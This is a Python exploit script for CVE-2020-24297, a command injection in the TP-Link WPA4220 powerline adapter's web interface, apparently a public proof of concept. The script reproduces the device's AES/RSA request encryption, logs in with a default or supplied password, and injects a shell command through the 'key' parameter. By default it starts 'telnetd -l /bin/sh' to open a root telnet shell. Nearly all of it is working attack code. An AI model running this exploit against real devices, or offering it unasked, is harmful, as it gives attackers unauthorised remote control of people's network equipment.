-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtplink-wpa4220-rce-exploit.py
143 lines (120 loc) · 5.31 KB
/
tplink-wpa4220-rce-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/bin/env python3
# Exploit Title: TP-Link WPA4220 Command Injection
# Date: 2020-11-17
# Exploit Author: Oriol Castejon @foolisses
# Vendor Homepage: https://www.tp-link.com
# Software Link: https://www.tp-link.com/en/support/download/tl-wpa4220/v4/#Firmware
# Version: TL-WPA4220(EU)_V4_190326
# CVE : CVE-2020-24297
import argparse
import base64
import hashlib
import json
import requests
from Crypto.Cipher import AES
# These parameters are set by the browser, so we can decide their value
key = b'1595026205026583'
iv = b'1595026205026193'
def rsa_encrypt(plaintext):
encrypted = ''
for i in range(len(plaintext) // 64 + 1):
block = plaintext[i * 64:(i + 1) * 64]
encoded = [format(ord(c), 'x') for c in block] + ['00'] * (64 - len(block))
encoded = int("".join(encoded), 16)
encrypted_block = pow(encoded, e, n)
encrypted += format(encrypted_block, 'x')
if len(encrypted) % 2 == 1:
encrypted = '0' + encrypted
return encrypted
def aes_encrypt(plaintext):
padded = pad(plaintext)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded.encode())
return base64.b64encode(encrypted).decode('utf-8')
def aes_decrypt(encrypted):
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(base64.b64decode(encrypted))
return plaintext[:-ord(plaintext[len(plaintext) - 1:])].decode('utf-8')
def pad(plaintext):
pad = AES.block_size - len(plaintext) % AES.block_size
return plaintext + pad * chr(pad)
def get_rsa_pubkey_seq(target):
r = requests.post("http://{}/login?form=auth".format(target), data={"operation": "read"})
r = r.json()
if not r.get("success"):
print("[!] Something went wrong, couldn't retrieve RSA public key")
return False, False, False
n = int(r["data"]["key"][0], 16)
e = int(r["data"]["key"][1], 16)
seq = int(r["data"]["seq"])
return n, e, seq
def send_encrypted_request(target, path, plaintext_data, password, is_login=False):
url = "http://{}{}".format(target, path)
encrypted_data = aes_encrypt(plaintext_data)
m = hashlib.md5()
m.update(password.encode('utf-8'))
password_hash = m.hexdigest()
if is_login:
sign = rsa_encrypt("k={}&i={}&h={}&s={}".format(key.decode('utf-8'), iv.decode('utf-8'), password_hash,
seq + len(encrypted_data)))
else:
sign = rsa_encrypt("h={}&s={}".format(password_hash, seq + len(encrypted_data)))
data = {
"sign": sign,
"data": encrypted_data
}
headers = {
"Host": target,
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://{}".format(target),
"Connection": "close",
"Referer": "http://{}/".format(target),
"Cookie": "Authorization="
}
r = requests.post(url, data=data, headers=headers)
try:
encrypted_data = r.json().get("data")
response = aes_decrypt(encrypted_data)
if is_login and not json.loads(response).get("success"):
return False
except Exception as ex:
print("There was some error, could not decrypt response. Error: {}".format(ex))
return False
return True
def login(target, password):
print("[+] Logging in with password: {}".format(password))
if send_encrypted_request(target, "/login?form=login", "operation=login&password={}".format(rsa_encrypt(password)),
password, True):
print("[+] Login executed successfully")
else:
print("[!] Login failed!")
return False
return True
def exploit(target, password, cmd):
print("[+] Sending exploit. This will take a some seconds, please be patient!")
if send_encrypted_request(target, "/admin/powerline?form=plc_device", "operation=remove&key=1234; {} #".format(cmd),
password):
print("[+] Exploit executed successfully")
if cmd == "telnetd -l /bin/sh":
print("[+] Now you can connect to the device with the following command:\n telnet {}".format(target))
else:
print("[!] Failed to execute exploit")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='RCE exploit for the TL-WPA4220')
parser.add_argument('target', type=str, metavar='target', help='IP of the TL-WPA4220 device')
parser.add_argument('-p', '--password', type=str, metavar='password',
help='Password of the TL-WPA4220 Web interface (default: admin)', default='admin')
parser.add_argument('-c', '--cmd', type=str, metavar='command',
help='Command to execute in the device (if not specified, it will start the telnet service)',
default='telnetd -l /bin/sh')
args = parser.parse_args()
print("[+] Getting RSA public key of the device")
n, e, seq = get_rsa_pubkey_seq(args.target)
if n and e and seq:
print("[+] RSA public key correctly obtained")
if login(args.target, args.password):
exploit(args.target, args.password, args.cmd)